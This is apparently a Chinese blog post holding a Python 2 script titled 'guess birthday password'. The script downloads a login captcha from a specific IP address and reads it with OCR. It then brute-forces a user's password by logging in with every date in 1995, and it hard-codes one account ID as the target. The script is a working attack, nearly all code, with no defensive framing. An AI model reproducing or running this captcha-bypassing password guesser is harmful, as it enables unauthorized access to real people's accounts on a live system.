猜生日密码

#coding:utf-8
'''
猜生日密码
'''
__author__ = 'halfopen'

from bs4 import BeautifulSoup
from ocr.pytesser import *
from PIL import Image
import urllib2
import sys
import ImageEnhance
import urllib
import cookielib
import re


# 设置 cookie
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
headers = {"User-agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"}
url = "http://210.42.121.241/servlet/GenImg"


# 获取验证码图片,并保存到cap.jpeg里面
def get_cap():
    request = urllib2.Request( url=url,headers = headers)
    f = opener.open(request)
    with open("cap.jpeg", "wb") as code:
        code.write(f.read())


#   图片转成黑白图片
def pic_to_black(im):
    pix = im.load()     # 像素点
    x, y = im.size[0], im.size[1]
    # cap_txt = ""        # 用来保存字符
    b_im = Image.new("RGB", (x, y), (0, 0, 0))
    for j in range(y):
        for i in range(x):
            r, b, g = pix[i, j][0], pix[i, j][1], pix[i, j][2]
            if r > 120 and g < 80 and b < 80:
                # cap_txt += "1"
                pass
            else:
                # cap_txt += "0"
                b_im.putpixel((i, j), (255, 255, 255))
    enhancer = ImageEnhance.Contrast(b_im)
    b_im = enhancer.enhance(4)  # 转黑白图片
    b_im.save("b_cap.jpeg")
    # return cap_txt


# 获取验证码,保存到返回值里面
def get_cap_txt():
    cap_txt = ""
    while len(cap_txt) < 5:
        get_cap()
        im1 = Image.open('cap.jpeg')
        pic_to_black(im1)
        im2 = Image.open('b_cap.jpeg')
        cap_txt = image_to_string(im2)
    txt = ""
    l = len(cap_txt)
    txt += cap_txt[l - 6]
    txt += cap_txt[l - 5]
    txt += cap_txt[l - 4]
    txt += cap_txt[l - 3]
    return txt


def login(username, password):
    cap_txt = get_cap_txt()
    # print "Get a captcha:<"+cap_txt+">"
    post_url = "http://210.42.121.241/servlet/Login"
    params = urllib.urlencode({'id': username, 'pwd': password, 'xdvfb': cap_txt})
    request = urllib2.Request(url=post_url, headers=headers, data=params)   # 读取网页
    f = opener.open(request)        # 开始登陆
    html = f.read()
    soup = BeautifulSoup(html)
    # 抓取网页提示信息
    error = soup.find("font", {"color": "red"})     # 登录失败信息
    print error
    if error is not None:           # 如想存在错误信息
        l = len( str(error) )
        if( l == 99):
            print "wrong password"
            return 0    # 密码错误
        elif l == 92:
            print "wrong captcha"
            return -1   # 验证码错误
        else:
            return -2   # 其它错误
    else:
        print soup
        return 1

# 猜密码
def guess(username, month_s, month_e):
    for i in range(month_s, month_e):
        for j in range(1, 32):
            birth = "1995"+"%02d"%i+ "%02d"%j
            t = -1
            while(t != 0):
                t = login(username, birth)
                print "\t\t try again"
                if t == 1:
                    print "\t\t\tPassword is "+str(t)+"-------------------------- :"+birth
                    f = open(username+".txt", "w+")
                    f.write(birth)
                    exit(0)
            print "\t"+birth
        #print birth


if __name__ == '__main__':
    if len(sys.argv) > 3:
        name = sys.argv[1]
        s = int(sys.argv[2])
        e = int(sys.argv[3])
        print name, s, e
        guess(name, s, e)
    else:
        print "Usage:Python login.py username start end"
    guess('2013301500075', 1, 13)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值